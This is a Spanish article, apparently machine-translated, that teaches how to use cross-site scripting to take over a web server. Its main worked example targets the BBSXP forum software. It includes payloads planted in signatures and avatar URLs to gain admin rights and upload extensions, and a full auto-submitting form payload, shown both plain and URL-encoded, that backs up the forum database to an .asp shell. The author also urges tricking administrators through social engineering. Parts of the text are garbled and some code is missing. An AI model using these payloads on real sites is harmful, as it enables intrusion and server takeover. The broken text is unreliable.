¿Qué es un ataque XSS?
¿Qué es un ataque XSS? XSS también se llama CSS (Cross Site Script), un ataque de scripting entre sitios. Se refiere a un atacante malicioso que inserta código HTML malicioso en una página web. Cuando un usuario navega por la página, se ejecutará el código HTML incrustado en la Web, logrando así el propósito especial de atacar al usuario maliciosamente. XSS es un ataque pasivo Debido a que es pasivo y difícil de explotar, muchas personas suelen ignorar sus daños. Este artículo habla principalmente sobre el uso de XSS para obtener el shell del servidor de destino. Aunque la tecnología es antigua, espero que sus ideas sean útiles para todos. [Edite este párrafo] Cómo encontrar vulnerabilidades XSS Personalmente, divido los ataques XSS en dos categorías. Una son los ataques desde dentro, que se refieren principalmente al uso de las lagunas del programa en sí para construir declaraciones entre sitios, como por ejemplo: showerror de dvbbs. Vulnerabilidad entre sitios en .asp. El otro tipo son los ataques desde el exterior, que se refieren principalmente a la construcción de páginas web XSS vulnerables entre sitios o la búsqueda de páginas web con vulnerabilidades entre sitios distintas a la máquina de destino. Por ejemplo, cuando queremos penetrar en un sitio, construimos una página web con una vulnerabilidad entre sitios y luego construimos una declaración entre sitios y la combinamos con otras técnicas, como la ingeniería social, para engañar al administrador del sitio. servidor de destino para abrirlo.
Luego use la siguiente tecnología para obtener un shell. [Edite este párrafo] Cómo usar métodos tradicionales de explotación entre sitios Generalmente, el atacante primero construye una página web entre sitios y luego coloca una colección. en otro espacio de la página de cookies y luego se combina con otras tecnologías para permitir a los usuarios abrir páginas entre sitios para robar las cookies de los usuarios para futuros ataques. Personalmente, creo que este método es demasiado atrasado. Es posible que todos conozcan las desventajas, porque incluso si recopila cookies, es posible que no pueda penetrar más. La mayoría de las contraseñas en las cookies están encriptadas. También está sujeto a otras condiciones. Otra idea propuesta en este artículo resuelve hasta cierto punto los problemas anteriores. Para los individuos, el método más maduro es construir un formulario a través de sitios cruzados, y el contenido del formulario es usar la función de respaldo del programa o agregar administradores para obtener una alta autoridad. A continuación presentaré esta tecnología en detalle. [Editar este párrafo] Buscando vulnerabilidades entre sitios de ataques internos entre sitios
Sería más fácil de manejar si hay código. Observamos principalmente si la longitud y las variables de los lugares y variables de entrada del usuario. en el código son correctos."〈 Si se deben filtrar caracteres como ","〉",";","'". Otra cosa a tener en cuenta es el cierre de etiquetas. Por ejemplo, al probar vulnerabilidades entre sitios en grupos QQ, si ingresa 〈script〉alert('test')〈/script〉 en el título, el código no se ejecutará porque. en En el código fuente, hay otras etiquetas que no están cerradas, como 〈/script〉 que faltan. En este momento, solo necesita cerrar un 〈/script〉 y el código se ejecutará. 〈/script〉〈script en el título 〉alert('test')〈/script〉, para que pueda aparecer un cuadro de prueba.
Cómo utilizar
Tomaré BBSXP como ejemplo. El proceso ha sido animado. Para más detalles, consulte la animación en el CD. Permítanme tomar como ejemplos dos de los puntos de vulnerabilidad entre sitios más útiles en BBSXP.
a. Primero registre un usuario normal. El usuario que registré aquí es linzi. Luego escribimos en la firma personal: <. /p>
c. Luego publique una publicación, que se puede combinar con otras técnicas para engañar al administrador para que explore la publicación.
d. Debido a que es una prueba, iniciamos sesión como administrador y luego abrimos la publicación. Encontraremos que Linzi se ha convertido en el administrador del área comunitaria, como se muestra en la Figura 1
<. p >Además, solo necesitamos ingresarlo en la firma personalDel mismo modo publicar una publicación, etc. Mientras el administrador lo abra, se mostrará una extensión de carga con la extensión asp (con espacios). agregado Esto En ese momento, solo necesita cargar un newmm.asp (con espacios) para obtener un caparazón.
El ataque anterior es algo limitado. Aunque el caparazón se puede obtener, el ocultamiento no lo es. muy bueno porque la firma
está sujeta a restricciones de longitud y no puede exceder los 255 caracteres.
Podemos combinar flash entre sitios para lograr ataques
más encubiertos. Para la producción de troyanos flash, consulte la introducción de Buddy Fengchu a continuación.
Reutilizar de la siguiente manera:
Modifica la URL de tu foto de perfil e ingresa el código de la siguiente manera:
Luego engaña al administrador para que abra tu información o explore tu posts Cuando el administrador lo abre, agregará automáticamente el sufijo de la extensión php en segundo plano. Debido a que bbsxp filtra espacios,% en la URL del avatar personal, solo podemos agregar otras extensiones que no incluyan espacios. También puedes agregar una extensión shtml, puedes usarla para ver el código fuente y luego atacar más. [Editar este párrafo] Ataques entre sitios desde el exterior A veces, cuando no podemos encontrar un sitio cruzado que pueda ser explotado por el programa objetivo, en este momento podemos comenzar desde el exterior y utilizar su foro. El foro es muy bueno, pero su tablero de mensajes tiene vulnerabilidades entre sitios. En este momento, podemos escribir declaraciones entre sitios en el tablero de mensajes. Las declaraciones entre sitios son declaraciones que elevan los permisos enviados al foro en un formulario. La declaración extendida bbsxp más asp anterior. Por supuesto, podemos usar la función de copia de seguridad en segundo plano para obtener directamente un shell.
Ejemplo: Primero cargue un archivo linzi.txt con el siguiente contenido:
〈body onload="javascript:document.forms[0].submit()"〉〈form
p>
action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" método="post"〉〈valor de entrada="base de datos/bbsxp.mdb" nombre ="yl" 〉〈 input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉
El código anterior realiza una copia de seguridad de la base de datos del foro en mierda.asp, y el tablero de mensajes existe en todos los sitios de la siguiente manera:
http://127.0.0.1/bbsxp/page2.asp?username=
Construimos la declaración de respaldo entre sitios de la siguiente manera :
http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D %22%6A%61%76%61% 73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D %73%5B%30%5D%2E% 73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69 %6F%6E%3D%22%68% 74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78 %70%2F%61%64%6D% 69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62 %66%22%20%6D%65% 74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76 %61%6C%75%65%3D% 22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22 %20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D %22%64%61%74%61% 62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D %22%62%66%22%20% 3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E
O construir un declaración entre sitios y use un iframe para abrir un linzi .txt de tamaño 0.
Cuando el administrador lo abre, automáticamente realizará una copia de seguridad y obtendrá un shell [Editar este párrafo] Combinación de XSS y otras tecnologías Del ejemplo anterior, podemos saber cómo engañar al administrador para que abra. Es un paso muy importante para abrir el engaño. Además de la ingeniería social, podemos combinar otras tecnologías, como la inyección SQL. Cuando penetramos en un sitio web, la vulnerabilidad de inyección mssql del sitio principal es pública. actualice para construir una declaración entre sitios. Por ejemplo, use un iframe para abrir la copia de seguridad anterior para obtener las declaraciones entre sitios del shell, etc. De manera similar, podemos usar otras vulnerabilidades entre sitios de QQ durante la ingeniería social, etc. .
El engaño también es un arte. Cómo usarlo, ¡cada uno puede usar su imaginación!
Un buen engaño también es un arte, ya sea en la vida o en Internet. Es inevitable que haya algunas cosas en la vida de las que no se pueda decir la verdad. En este momento, debemos utilizar métodos adecuados para que nuestras mentiras se digan como si fueran verdad.